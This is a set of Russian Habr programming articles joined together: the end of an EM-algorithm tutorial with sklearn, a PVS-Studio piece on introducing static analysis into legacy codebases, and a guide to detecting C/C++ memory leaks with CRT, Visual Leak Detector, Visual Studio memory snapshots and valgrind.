# инициализируем данные по деталям, произведенных на станке №1
X[:N1, 0] = np.random.normal(loc=mu_samples_1_1, scale=sigma_samples_1_1, size=N1)
X[:N1, 1] = np.random.normal(loc=mu_samples_1_2, scale=sigma_samples_1_2, size=N1)
# инициализируем данные по деталям, произведенных на станке №2
X[N1:N, 0] = np.random.normal(loc=mu_samples_2_1, scale=sigma_samples_2_1, size=N2)
X[N1:N, 1] = np.random.normal(loc=mu_samples_2_2, scale=sigma_samples_2_2, size=N2)
# зафиксируем правильные ответы для оценки качества алгоритма (в обучении не используется)
y = np.zeros((N))
y[:N1] = np.array((1))
y[N1:N] = np.array((2))
```
**Запустим EM-алгоритм**
```
np.random.seed(1)
model = GMM(n_components=k, covariance_type='full')
model.fit(X)
temp_predict_X = model.predict(X)
X_answers = []
for i in range(X.shape[0]):
if temp_predict_X[i] == 0:
X_answers.append(1)
else:
X_answers.append(2)
print 'Доля правильно распознанных изделий'
print round(accuracy_score(y, X_answers),3)
```
Отработал на ура! Без ошибок! Что и следовало ожидать, GaussianMixture библиотеки sklearn работает быстрее и качественнее нашего алгоритма. Однако цель статьи, как мы помним заключалась в том, чтобы понять устройство работы EM-алгоритмы. Надеюсь, что цель была достигнута :)
### Источники информации
**Литература**
1) Прикладная статистика: Классификации и снижение размерности, С.А. Айвазян, В.М. Бухштабер, И.С. Енюков, Л.Д. Мешалкин, Москва, Финансы и статистика, 1989
**Интернет ресурсы**
[1) Статья 'A Gentle Tutorial of the EM Algorithm and its Application to Parameter Estimation for Gaussian Mixture and Hidden Markov Models', International Computer Science Institute, Jeff A. Bilmes, 1998](http://www-prima.imag.fr/Prima/jlc/Courses/2006/ENSI2.SIRR/EM-tutorial.pdf)
[2) Презентация 'Mixture Models & EM-algorithm', NY University, David Sontag](http://people.csail.mit.edu/dsontag/courses/ml12/slides/lecture21.pdf)
[3) Курс 'Поиск структуры данных'](https://www.coursera.org/learn/unsupervised-learning/lecture/2jhbI/expectation-maximization-em-alghoritm)
[4) Формула полной вероятности и формулы Байеса](http://mathprofi.ru/formula_polnoj_verojatnosti_formuly_bajesa.html)
[5) Функция 'sklearn.mixture.GaussianMixture'](https://scikit-learn.org/stable/modules/generated/sklearn.mixture.GaussianMixture.html)
[6) Нормальное распределение, Википедия](https://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5)
[7) Многомерное нормальное распределение, Википедия](https://ru.wikipedia.org/wiki/%D0%9C%D0%BD%D0%BE%D0%B3%D0%BE%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D0%B5_%D0%BD%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5)
8) [github.com/diefimov/MTH594\_MachineLearning/blob/master/ipython/Lecture10.ipynb](https://github.com/diefimov/MTH594_MachineLearning/blob/master/ipython/Lecture10.ipynb)
[9) Статья про EM-алгоритм](https://neerc.ifmo.ru/wiki/index.php?title=EM-%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC)
[10) Еще одна статья про EM-алгоритм](http://www.machinelearning.ru/wiki/index.php?title=EM_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%28%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%29)
11) Github [github.com/AlexanderPetrenko83/Articles](https://github.com/AlexanderPetrenko83/Articles) | https://habr.com/ru/post/501850/ | null | ru | null |
# Как внедрить статический анализатор кода в legacy проект и не демотивировать команду
Попробовать статический анализатор кода легко. А вот, чтобы внедрить его, особенно в разработку большого старого проекта, потребуется умение. При неправильном подходе анализатор может добавить работы, замедлить разработку и демотивировать команду. Давайте кратко поговорим, как правильно подойти к интеграции статического анализа в процесс разработки и начать его использовать как часть CI/CD.
Введение
--------
Недавно моё внимание привлекла публикация "[Getting Started With Static Analysis Without Overwhelming the Team](https://dzone.com/articles/getting-started-with-static-analysis-without-overw)". С одной стороны, это хорошая статья, с которой стоит познакомиться. С другой стороны, как мне кажется, в ней так и не прозвучало полного ответа, как безболезненно внедрить статический анализ в проект с большим количеством legacy кода. В статье говорится, что можно смириться с техническим долгом и работать только с новым кодом, но нет ответа на то, что делать с этим техническим долгом потом.
Наша команда PVS-Studio предлагает свой взгляд на эту тему. Давайте рассмотрим, как вообще возникает проблема внедрения статического анализатора кода, как преодолеть эту проблему и как безболезненно постепенно устранить технический долг.
Проблематика
------------
Запустить и посмотреть, как работает статический анализатор, как правило, несложно [[1](https://www.viva64.com/ru/b/0633/)]. Можно увидеть в коде интересные ошибки или даже страшные потенциальные уязвимости. Можно даже что-то поправить, но вот дальше у многих программистов опускаются руки.
Все статические анализаторы выдают ложные срабатывания. Такова особенность методологии статического анализа кода, и с ней ничего нельзя сделать. В общем случае это нерешаемая задача, что подтверждается теоремой Райса [[2](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%A0%D0%B0%D0%B9%D1%81%D0%B0)]. Не помогут и алгоритмы машинного обучения [[3](https://www.viva64.com/ru/b/0706/)]. Если даже человек не всегда может сказать, ошибочен тот или иной код, то не стоит ждать этого от программы :).
Ложные срабатывания не являются проблемой, если статический анализатор уже настроен:
* Отключены неактуальные наборы правил;
* Отключены отдельные неактуальные диагностики;
* Если мы говорим о C или C++, то размечены макросы, содержащие специфические конструкции, из-за которых появляются бесполезные предупреждению в каждом месте, где такие макросы используются;
* Размечены собственные функции, выполняющие действия аналогичные системным функциям (свой аналог *memcpy* или *printf*) [[4](https://www.viva64.com/ru/m/0040/)];
* Точечно с помощью комментариев отключены ложные срабатывания;
* И так далее.
В таком случае, можно ожидать низкий уровень ложных срабатываний на уровне порядка 10-15% [[5](https://www.viva64.com/ru/b/0523/)]. Другим словами, 9 из 10 предупреждений анализатора будут указывать на реальную проблему в коде или, по крайней мере, на «код с сильным запахом». Согласитесь, такой сценарий крайне приятен, и анализатор является настоящим другом программиста.
В реальности в большом проекте первоначальная картина будет совсем иная. Анализатор выдаёт сотни или тысячи предупреждений на legacy код. Что из этих предупреждений по делу, а что нет, быстро понять невозможно. Сесть и начать разбираться со всеми этими предупреждениями нерационально, так как основная работа в этом случае остановится на дни или недели. Как правило, команда не может позволить себе такой сценарий. Также возникнет огромное количество diff-ов, которые портят историю изменений. А быстрая массовая правка такого количества фрагментов в коде неизбежно выльется в новые опечатки и ошибки.
И самое главное, подобный подвиг в борьбе с предупреждениями имеет мало смысла. Согласитесь, что раз проект много лет успешно работает, то и большинство критических ошибок в нём уже исправлено. Да, эти исправления были очень дорогими, приходилось отлаживаться, получать негативные отзывы пользователей о багах и так далее. Статический анализатор помог бы исправить многие из этих ошибок ещё на этапе написания кода, быстро и дешево. Но в данный момент, так или иначе эти ошибки исправлены, и анализатор в основном обнаруживает некритические ошибки в старом коде. Этот код может не использоваться, использоваться очень редко, и ошибка в нём может не приводить к заметным последствиям. Возможно, где-то тень от кнопки не того цвета, но пользоваться продуктом это никому не мешает.
Конечно, даже несерьезные ошибки всё равно остаются ошибками. А иногда за ошибкой может прятаться настоящая уязвимость. Однако, бросить всё и днями/неделями заниматься дефектами, которые слабо проявляют себя, выглядит сомнительной идеей.
Программисты смотрят, смотрят, смотрят на все эти предупреждения на старый работающий код… И думают: обойдёмся без статического анализа. Пойдём лучше новый полезный функционал писать.
По-своему, они правы. Они считают, что для начала они должны как-то избавиться от всех этих предупреждений. И только тогда они смогут получать пользу от регулярного использования анализатора кода. В противном случае, новые предупреждения будут просто тонуть в старых, и на них никто не будет обращать внимание.
Здесь та же аналогия, что и с предупреждениями компилятора. Неспроста рекомендуют держать количество предупреждений компилятора на уровне 0. Если предупреждений 1000, то, когда их станет 1001, на это никто не обратит внимание, да и не понятно, где искать это самое новое предупреждение.
Самое худшее в этой истории, если кто-то сверху в этот момент заставит использовать статический анализ кода. Это только демотивирует команду, так как с их точки зрения появится дополнительная бюрократическая сложность, которая только мешает. Отчёты анализатора никто не будет смотреть, и всё использование будет только «на бумаге». Т.е. формально анализ встроен в DevOps процесс, но на практике от этого никому никакой пользы нет. Мы слышали подробные истории при общении на стендах от посетителей конференций. Подобный опыт может надолго, если не на всегда, отбить желание у программистов связываться с инструментами статического анализа.
Внедрение и устранение технического долга
-----------------------------------------
На самом деле, нет ничего сложного и страшного во внедрении статического анализа даже в большой старый проект.
### CI/CD
Причём анализатор можно сразу сделать частью процесса непрерывной разработки. Например, в дистрибутиве PVS-Studio есть утилиты для удобного просмотра отчёта в нужном вам формате, и уведомления разработчиков, написавших проблемные участки кода. Тем, кто более подробно интересуется запуском PVS-Studio из-под CI/CD систем, рекомендую ознакомиться с соответствующим [разделом](https://www.viva64.com/ru/m/0005/) документации и циклом статей:
* [PVS-Studio идёт в облака: Azure Devops](https://www.viva64.com/ru/b/0670/)
* [PVS-Studio идёт в облака: Travis CI](https://www.viva64.com/ru/b/0636/)
* [PVS-Studio идёт в облака: GitLab CI/CD](https://www.viva64.com/ru/b/0686/)
* [PVS-Studio идёт в облака: CircleCI](https://www.viva64.com/ru/b/0676/)
Но вернемся к вопросу большого количества ложных срабатываний на первых этапах внедрения инструментов анализа кода.
### Фиксация существующего технического долга и работа с новыми предупреждениями
Современные коммерческие статические анализаторы позволяют изучать только новые предупреждения, появляющиеся в новом или изменённом коде. Реализации этого механизма различается, но суть одна. В статическом анализаторе PVS-Studio эта функциональность реализована следующим образом.
Чтобы быстро начать использовать статический анализ, мы предлагаем пользователям PVS-Studio воспользоваться механизмом массового подавления предупреждений [[6](https://www.viva64.com/ru/m/0032/)]. Общая идея в следующем. Пользователь запустил анализатор и получил множество предупреждений. Раз проект, разрабатываемый много лет, жив, развивается и приносит деньги, то, скорее всего, в отчёте не будет много предупреждений, указывающих на критические дефекты. Другими словами, критические баги так или иначе уже поправлены более дорогими способами или благодаря фидбеку от клиентов. Соответственно, всё, что сейчас находит анализатор, можно считать техническим долгом, который непрактично стараться устранить сразу.
Можно указать PVS-Studio считать эти предупреждения пока неактуальными (отложить технический долг на потом), и он больше не будет их показывать. Анализатор создаёт специальный файл, где сохраняет информацию о пока неинтересных ошибках. И теперь PVS-Studio будет выдавать предупреждения только на новый или измененный код. Причем, всё это реализовано умно. Если, например, в начало файла с исходным кодом будет добавлена пустая строка, то анализатор понимает, что, по сути, ничего не изменилось, и по-прежнему будет молчать. Этот файл разметки можно заложить в систему контроля версий. Файл большой, но это не страшно, так как часто его закладывать смысла нет.
Теперь все программисты будут видеть предупреждения, относящиеся только к новому или изменённому коду. Таким образом, анализатор можно начать использовать, что называется, со следующего дня. А к техническому долгу можно будет вернуться позднее, и постепенно исправлять ошибки и настраивать анализатор.
Итак, первая проблема, с внедрением анализатора в большой старый проект решена. Теперь давайте разберёмся, что делать с техническим долгом.
### Исправление ошибок и рефакторинг
Самое простое и естественное — это выделить некоторое время на разбор массово подавленных предупреждений анализатора и постепенно разбираться с ними. Где-то следует исправить ошибки в коде, где-то провести рефакторинг, чтобы подсказать анализатору, что код не является проблемным. Простой пример:
```
if (a = b)
```
На подобный код ругается большинство С++ компиляторов и анализаторов, так как высока вероятность, что на самом деле хотели написать *(a == b)*. Но существует негласное соглашение, и это обычно отмечено в документации, что если стоят дополнительные скобки, то считается, что программист сознательно написал такой код, и ругаться не надо. Например, в документации PVS-Studio к диагностике [V559 (CWE-481)](https://www.viva64.com/ru/w/v559/) явно написано, что следующая строчка будет считаться корректной и безопасной:
```
if ((a = b))
```
Другой пример. Забыт ли в этом C++ коде *break* или нет?
```
case A:
foo();
case B:
bar();
break;
```
Анализатор PVS-Studio выдаст здесь предупреждение [V796 (CWE-484)](https://cwe.mitre.org/data/definitions/484.html). Возможно, это не ошибка, и тогда следует дать анализатору подсказку, добавив атрибут [*[[fallthrough]]*](https://en.cppreference.com/w/cpp/language/attributes/fallthrough) или, например, *\_\_attribute\_\_((fallthrough))*:
```
case A:
foo();
[[fallthrough]];
case B:
bar();
break;
```
Можно сказать, что подобные изменения кода не исправляют ошибки. Да, это так, но выполняется два полезных действия. Во-первых, отчёт анализатора избавляется от ложных срабатываний. Во-вторых, код становится более понятным для людей, занимающихся его сопровождением. И это очень важно! Ради одного этого уже стоит проводить мелкий рефакторинг, чтобы код стал понятней и легче в сопровождении. Раз анализатору непонятно, нужен «break» или нет, это будет непонятно и коллегам-программистам.
Помимо исправления ошибок и рефакторинга, можно точечно подавлять явно ложные предупреждения анализатора. Какие-то неактуальные диагностики можно отключить. Например, кто-то считает бессмысленными предупреждения [V550](https://www.viva64.com/ru/w/v550/) о сравнении значений типа float/double. А кто-то относит их к важным и заслуживающим изучения [[7](https://www.viva64.com/ru/b/0331/)]. Какие предупреждения считать актуальными, а каким нет, решать только команде разработчиков.
Существуют и другие способы подавления ложных предупреждений. Например, ранее уже упоминалась разметка макросов. Всё это подробнее описано в документации. Самое главное — понимать, что если постепенно и систематически подойти к работе с ложными срабатываниями, ничего страшного в них нет. Подавляющее большинство неинтересных предупреждений исчезает после настройки, и остаются только места, которые действительно требуют внимательного изучения и каких-то изменений в коде.
Также, мы всегда помогаем нашим клиентам настроить PVS-Studio, если возникают какие-то сложности. Более того, были случае, когда мы сами устраняли ложные предупреждения и исправляли ошибки [[8](https://www.viva64.com/ru/b/0330/)]. На всякий случай решил упомянуть, что возможен и такой вариант расширенного сотрудничества :).
### Метод храповика
Есть и другой интересный подход к тому, чтобы постепенно улучшать качество кода, устраняя предупреждение статического анализатора. Суть в том, что количество предупреждений может только уменьшаться.
Фиксируется количество предупреждений, которое выдаёт статический анализатор. Quality gate настраивается таким образом, что теперь можно заложить только такой код, который не увеличивает количество срабатываний. В результате запускается процесс постепенного уменьшения количества срабатываний за счёт настройки анализатора и правки ошибок.
Даже если человек захочет немного схитрить и решит пройти quality gate не благодаря устранению предупреждений в его новом коде, а за счёт улучшения старого стороннего кода, это нестрашно. Всё равно храповик проворачивается в одну сторону, и постепенно количество дефектов будет уменьшаться. Даже если человек не хочется править свои собственные новые дефекты, ему всё равно придётся что-то улучшить в соседнем коде. В какой-то момент легкие способы уменьшения количества предупреждений заканчиваются, и наступает момент, когда будут исправляться настоящие ошибки.
Более подробно эта методология описана в очень интересной статье Ивана Пономарева "[Внедряйте статический анализ в процесс, а не ищите с его помощью баги](https://habr.com/ru/post/436868/)", с которой я рекомендую ознакомиться каждому, кто интересуется вопросами повышения качества кода.
У автора статьи есть и доклад на эту тему: "[Непрерывный статический анализ](https://youtu.be/SvN7ZwWw7pM)".
Заключение
----------
Надеюсь, после этой статьи читатели будут дружелюбнее воспринимать инструменты статического анализа и захотят внедрить их в процесс разработки. Если у вас остались вопросы, мы всегда готовы [проконсультировать](https://www.viva64.com/ru/about-feedback/) пользователей нашего статического анализатора PVS-Studio и помочь с его внедрением.
Существуют и другие типовые сомнения, сможет ли статический анализ действительно быть удобен и полезен. Я постарался развеять большинство таких сомнений в публикации «Причины внедрить в процесс разработки статический анализатор кода PVS-Studio» [[9](https://www.viva64.com/ru/b/0687/)].
Спасибо за внимание, и приходите [скачать](https://www.viva64.com/ru/pvs-studio-download/) и попробовать анализатор PVS-Studio.
Дополнительные ссылки
---------------------
1. Андрей Карпов. [Как быстро посмотреть интересные предупреждения, которые выдает анализатор PVS-Studio для C и C++ кода?](https://www.viva64.com/ru/b/0633/)
2. Wikipedia. [Теорема Райса](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%A0%D0%B0%D0%B9%D1%81%D0%B0).
3. Андрей Карпов, Виктория Ханиева. [Использование машинного обучения в статическом анализе исходного кода программ](https://www.viva64.com/ru/b/0706/).
4. PVS-Studio. Документация. [Дополнительная настройка диагностик](https://www.viva64.com/ru/m/0040/).
5. Андрей Карпов. [Характеристики анализатора PVS-Studio на примере EFL Core Libraries, 10-15% ложных срабатываний](https://www.viva64.com/ru/b/0523/).
6. PVS-Studio. Документация. [Массовое подавление сообщений анализатора](https://www.viva64.com/ru/m/0032/).
7. Иван Андряшин. [О том, как мы опробовали статический анализ на своем проекте учебного симулятора рентгенэндоваскулярной хирургии](https://www.viva64.com/ru/b/0331/).
8. Павел Еремеев, Святослав Размыслов. [Как команда PVS-Studio улучшила код Unreal Engine](https://www.viva64.com/ru/b/0330/).
9. Андрей Карпов. [Причины внедрить в процесс разработки статический анализатор кода PVS-Studio](https://www.viva64.com/ru/b/0687/).
[](https://habr.com/en/company/pvs-studio/blog/507504/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [How to introduce a static code analyzer in a legacy project and not to discourage the team](https://habr.com/en/company/pvs-studio/blog/507504/). | https://habr.com/ru/post/507508/ | null | ru | null |
# Ловим утечки памяти в С/С++
Приветствую вас, Хабровчане!
Сегодня я хочу немного приоткрыть свет над тем, как бороться с утечкой памяти в Си или С++.
На Хабре уже существует две статьи, а именно: [Боремся с утечками памяти (C++ CRT)](https://habr.com/ru/post/82514/) и [Утечки памяти в С++: Visual Leak Detector](https://habr.com/ru/post/113567/). Однако я считаю, что они недостаточно раскрыты, или данные способы могут не дать нужного вам результата, поэтому я хотел бы по возможности разобрать всем доступные способы, дабы облегчить вам жизнь.
**Windows — разработка**
Начнем с Windows, а именно разработка под Visual Studio, так как большинство начинающих программистов пишут именно под этой IDE.
Для понимания, что происходит, прикладываю реальный пример:
**Main.c**
```
struct Student create_student();
void ControlMenu();
int main()
{
ControlMenu();
return 0;
}
void ShowListMenu(int kX)
{
char listMenu[COUNT_LIST_MENU][55] = { {"Read students from file"}, {"Input student and push"},
{"Input student and push it back"}, {"Input student and push it after student"},
{"Delete last student"}, {"Write students to file"}, {"Find student"}, {"Sort students"},
{"Show list of students"}, {"Exit"} };
for (int i = 0; i < COUNT_LIST_MENU; i++)
{
if (i == kX)
{
printf("%s", listMenu[i]);
printf(" <=\n");
}
else
printf("%s\n", listMenu[i]);
}
}
void ControlMenu()
{
struct ListOfStudents* list = NULL;
int kX = 0, key;
int exit = FALSE;
ShowListMenu(kX);
do
{
key = _getch();
switch (key)
{
case 72: //up
{
if (kX == 0)
kX = COUNT_LIST_MENU-1;
else
kX--;
}break;
case 80: //down
{
if (kX == COUNT_LIST_MENU-1)
kX = 0;
else
kX++;
}break;
case 13:
{
if (kX == 0)
{
int sizeStudents = 0;
struct Student* students = (struct Student*)malloc(1 * sizeof(struct Student));
char* path = (char*)malloc(255 * sizeof(char));
printf("Put the path to file with students: ");
scanf("%s", path);
int size = 0;
students = read_students(path, &size);
if (students == NULL)
{
printf("Can't open this file.\n");
}
else
{
for (int i = 0; i < size; i++)
{
if (i == 0)
{
list = init(students[i]);
}
else
{
list = add_new_elem_to_start(list, students[i]);
}
}
}
free(students);
printf("\nPress any key to continue...");
getchar();
getchar();
free(path);
}
else if (kX == 1 || kX == 2 || kX == 3 || kX == 6)
{
struct Student student = create_student();
if (kX == 1)
{
if (list == NULL)
{
list = init(student);
}
else
{
list = add_new_elem_to_start(list, student);
}
printf("\nPress any key to continue...");
getchar();
getchar();
}
else if (kX == 2)
{
if (list == NULL)
{
list = init(student);
}
else
{
list = add_new_elem_to_end(list, student);
}
printf("\nPress any key to continue...");
getchar();
getchar();
}
else if (kX == 3)
{
if (list == NULL)
{
list = init(student);
printf("The list was empty, so, list have been created.\n");
}
else
{
int position;
printf("Put the position: ");
scanf("%d", &position);
list = add_new_elem_after_pos(list, student, position);
}
printf("\nPress any key to continue...");
getchar();
getchar();
}
else
{
if (find_elem(list, student))
printf("Student exist");
else
printf("Student doesn't exist");
printf("\nPress any key to continue...");
getchar();
getchar();
}
}
else if (kX == 4)
{
if (list == NULL)
{
printf("List is empty.\n");
}
else
{
list = delete_elem(list);
}
printf("\nPress any key to continue...");
getchar();
getchar();
}
else if (kX == 5)
{
char* path = (char*)malloc(255 * sizeof(char));
printf("Put the path to file with students: ");
scanf("%s", path);
if (write_students(list, path) == 0)
{
printf("Can't write");
printf("\nPress any key to continue...");
getchar();
getchar();
}
free(path);
}
else if (kX == 7)
{
if (list == NULL)
{
printf("List is empty.\n");
}
else
{
list = sort_list(list);
}
printf("\nThe list was successfully sorted");
printf("\nPress any key to continue...");
getchar();
getchar();
}
else if (kX == 8)
{
system("cls");
show_list(list);
printf("\nPress any key to continue...");
getchar();
getchar();
}
else
exit = TRUE;
}break;
case 27:
{
exit = TRUE;
}break;
}
system("cls");
ShowListMenu(kX);
} while (exit == FALSE);
while (list != NULL)
{
list = delete_elem(list);
}
}
struct Student create_student()
{
struct Student new_student;
do
{
printf("Write the name of student\n");
scanf("%s", new_student.first_name);
} while (strlen(new_student.first_name) == 0);
do
{
printf("Write the last name of student\n");
scanf("%s", new_student.last_name);
} while (strlen(new_student.last_name) == 0);
do
{
printf("Write the patronyminc of student\n");
scanf("%s", new_student.patronyminc);
} while (strlen(new_student.patronyminc) == 0);
do
{
printf("Write the city of student\n");
scanf("%s", new_student.city);
} while (strlen(new_student.city) == 0);
do
{
printf("Write the district of student\n");
scanf("%s", new_student.disctrict);
} while (strlen(new_student.disctrict) == 0);
do
{
printf("Write the country of student\n");
scanf("%s", new_student.country);
} while (strlen(new_student.country) == 0);
do
{
printf("Write the phone number of student\n");
scanf("%s", new_student.phoneNumber);
} while (strlen(new_student.phoneNumber) != 13);
char* choose = (char*)malloc(255 * sizeof(char));
while (TRUE)
{
printf("Does student live in hostel? Y - yes, N - no\n");
scanf("%s", choose);
if (strcmp(choose, "y") == 0 || strcmp(choose, "Y") == 0)
{
new_student.is_live_in_hostel = TRUE;
break;
}
if (strcmp(choose, "n") == 0 || strcmp(choose, "n") == 0)
{
new_student.is_live_in_hostel = FALSE;
break;
}
}
while (TRUE)
{
printf("Does student get scholarship? Y - yes, N - no\n");
scanf("%s", choose);
if (strcmp(choose, "y") == 0 || strcmp(choose, "Y") == 0)
{
new_student.is_live_in_hostel = TRUE;
break;
}
if (strcmp(choose, "n") == 0 || strcmp(choose, "n") == 0)
{
new_student.is_live_in_hostel = FALSE;
break;
}
}
free(choose);
for (int i = 0; i < 3; i++)
{
char temp[10];
printf("Write the %d mark of ZNO\n", i + 1);
scanf("%s", temp);
new_student.mark_zno[i] = atof(temp);
if (new_student.mark_zno[i] == 0)
{
i--;
}
}
return new_student;
}
```
А также есть `Student.h` и `Student.c` в котором объявлены структуры и функции.
Есть задача: продемонстрировать отсутствие утечек памяти. Первое, что приходит в голову — это CRT. Тут все достаточно просто.
В начало файла, где находится main, необходимо добавить этот кусок кода:
```
#define __CRTDBG_MAP_ALLOC
#include
#define DEBUG\_NEW new(\_NORMAL\_BLOCK, \_\_FILE\_\_, \_\_LINE\_\_)
#define new DEBUG\_NEW
```
А перед `return 0` нужно прописать это: `_CrtDumpMemoryLeaks();`.
В итоге, в режиме Debug, студия будет выводить это:
```
Detected memory leaks!
Dumping objects ->
{79} normal block at 0x00A04410, 376 bytes long.
Data: < > CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD
Object dump complete.
```
Супер! Теперь вы знаете, что у вас утечка памяти. Теперь нужно устранить это, поэтому необходимо просто узнать, где мы забываем очистить память. И вот тут возникает проблема: а где, собственно, выделялась эта память?
После того, как я повторил все шаги, я выяснил, что память теряется где-то здесь:
```
if (kX == 0)
{
int sizeStudents = 0;
struct Student* students = (struct Student*)malloc(1 * sizeof(struct Student));
char* path = (char*)malloc(255 * sizeof(char));
printf("Put the path to file with students: ");
scanf("%s", path);
int size = 0;
students = read_students(path, &size);
if (students == NULL)
{
printf("Can't open this file.\n");
}
else
{
for (int i = 0; i < size; i++)
{
if (i == 0)
{
list = init(students[i]);
}
else
{
list = add_new_elem_to_start(list, students[i]);
}
}
}
free(students);
printf("\nPress any key to continue...");
getchar();
getchar();
free(path);
}
```
Но как так — то? Я же все освобождаю? Или нет?
И тут мне сильно не хватало Valgrind, с его трассировкой вызовов...
В итоге, после 15 минут прогугливания, я нашел аналог Valgrind — **Visual Leak Detector**. Это сторонняя библиотека, обертка над CRT, которая обещала показывать трассировку! Это то, что мне необходимо.
Чтобы её установить, необходимо перейти в [репозиторий](https://github.com/KindDragon/vld/releases/tag/v2.5.1) и в assets найти `vld-2.5.1-setup.exe`
Правда, последнее обновление было со времен Visual Studio 2015, но оно работает и с Visual Studio 2019. Установка стандартная, просто следуйте инструкциям.
Чтобы подключить VLD, необходимо прописать `#include` .
Преимущество этой утилиты заключается в том, что можно не запускать в режиме debug (F5), ибо все выводится в консоль. В самом начале будет выводиться это:
```
Visual Leak Detector read settings from: C:\Program Files (x86)\Visual Leak Detector\vld.ini
Visual Leak Detector Version 2.5.1 installed.
```
И вот, что будет выдавать при утечке памяти:
```
WARNING: Visual Leak Detector detected memory leaks!
---------- Block 1 at 0x01405FD0: 376 bytes ----------
Leak Hash: 0x555D2B67, Count: 1, Total 376 bytes
Call Stack (TID 8908):
ucrtbased.dll!malloc()
test.exe!0x00F41946()
test.exe!0x00F42E1D()
test.exe!0x00F44723()
test.exe!0x00F44577()
test.exe!0x00F4440D()
test.exe!0x00F447A8()
KERNEL32.DLL!BaseThreadInitThunk() + 0x19 bytes
ntdll.dll!RtlGetAppContainerNamedObjectPath() + 0xED bytes
ntdll.dll!RtlGetAppContainerNamedObjectPath() + 0xBD bytes
Data:
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ........ ........
Visual Leak Detector detected 1 memory leak (412 bytes).
Largest number used: 3115 bytes.
Total allocations: 3563 bytes.
Visual Leak Detector is now exiting.
```
Вот, я вижу трассировку! Так, а где строки кода? А где названия функций?
Ладно, обещание сдержали, однако это не тот результат, который я хотел.
Остается один вариант, который я нашел в гугле: моментальный снимок памяти. Он делается просто: в режиме debug, когда доходите до return 0, необходимо в средстве диагностики перейти во вкладку "Использование памяти" и нажать на "Сделать снимок". Возможно, у вас будет отключена эта функция, как на первом скриншоте. Тогда необходимо включить, и перезапустить дебаг.
**Первый скриншот**
**Второй скриншот**
После того, как вы сделали снимок, у вас появится под кучей размер. Я думаю, это сколько всего было выделено памяти в ходе работы программы. Нажимаем на этот размер. У нас появится окошко, в котором будут содержаться объекты, которые хранятся в этой куче. Чтобы посмотреть подробную информацию, необходимо выбрать объект и нажать на кнопку "Экземпляры представления объекта Foo".
**Третий скриншот**
**Четвертый скриншот**
Да! Это победа! Полная трассировка с местоположением вызовов! Это то, что было необходимо изначально.
**Linux — разработка**
Теперь, посмотрим, что творится в Linux.
В Linux существует утилита valgrind. Чтобы установить valgrind, необходимо в консоли прописать `sudo apt install valgrind` (Для Debian-семейства).
Я написал небольшую программу, которая заполняет динамический массив, но при этом, не очищается память:
**main.c**
```
#include
#include
#define N 10
int main()
{
int \* mas = (int \*)malloc(N \* sizeof(int));
for(int i = 0; i < N; i++)
{
\*(mas+i) = i;
printf("%d\t", \*(mas+i));
}
printf("\n");
return 0;
}
```
Скомпилировав программу с помощью CLang, мы получаем .out файл, который мы подкидываем valgrind'у.
С помощью команды `valgrind ./a.out`. Как работает valgrind, думаю, есть смысл описать в отдельной статье, а сейчас, как выполнится программа, valgrind выведет это:
```
==2342== HEAP SUMMARY:
==2342== in use at exit: 40 bytes in 1 blocks
==2342== total heap usage: 2 allocs, 1 frees, 1,064 bytes allocated
==2342==
==2342== Searching for pointers to 1 not-freed blocks
==2342== Checked 68,984 bytes
==2342==
==2342== LEAK SUMMARY:
==2342== definitely lost: 40 bytes in 1 blocks
==2342== indirectly lost: 0 bytes in 0 blocks
==2342== possibly lost: 0 bytes in 0 blocks
==2342== still reachable: 0 bytes in 0 blocks
==2342== suppressed: 0 bytes in 0 blocks
==2342== Rerun with --leak-check=full to see details of leaked memory
==2342==
==2342== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
==2342== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
```
Таким образом, valgrind пока показывает, сколько памяти было потеряно. Чтобы увидеть, где была выделена память, необходимо прописать `--leak-check=full`, и тогда, valgrind, помимо выше описанного, выведет это:
```
==2348== 40 bytes in 1 blocks are definitely lost in loss record 1 of 1
==2348== at 0x4C2FB0F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==2348== by 0x40053A: main (in /home/hunterlan/Habr/a.out)
```
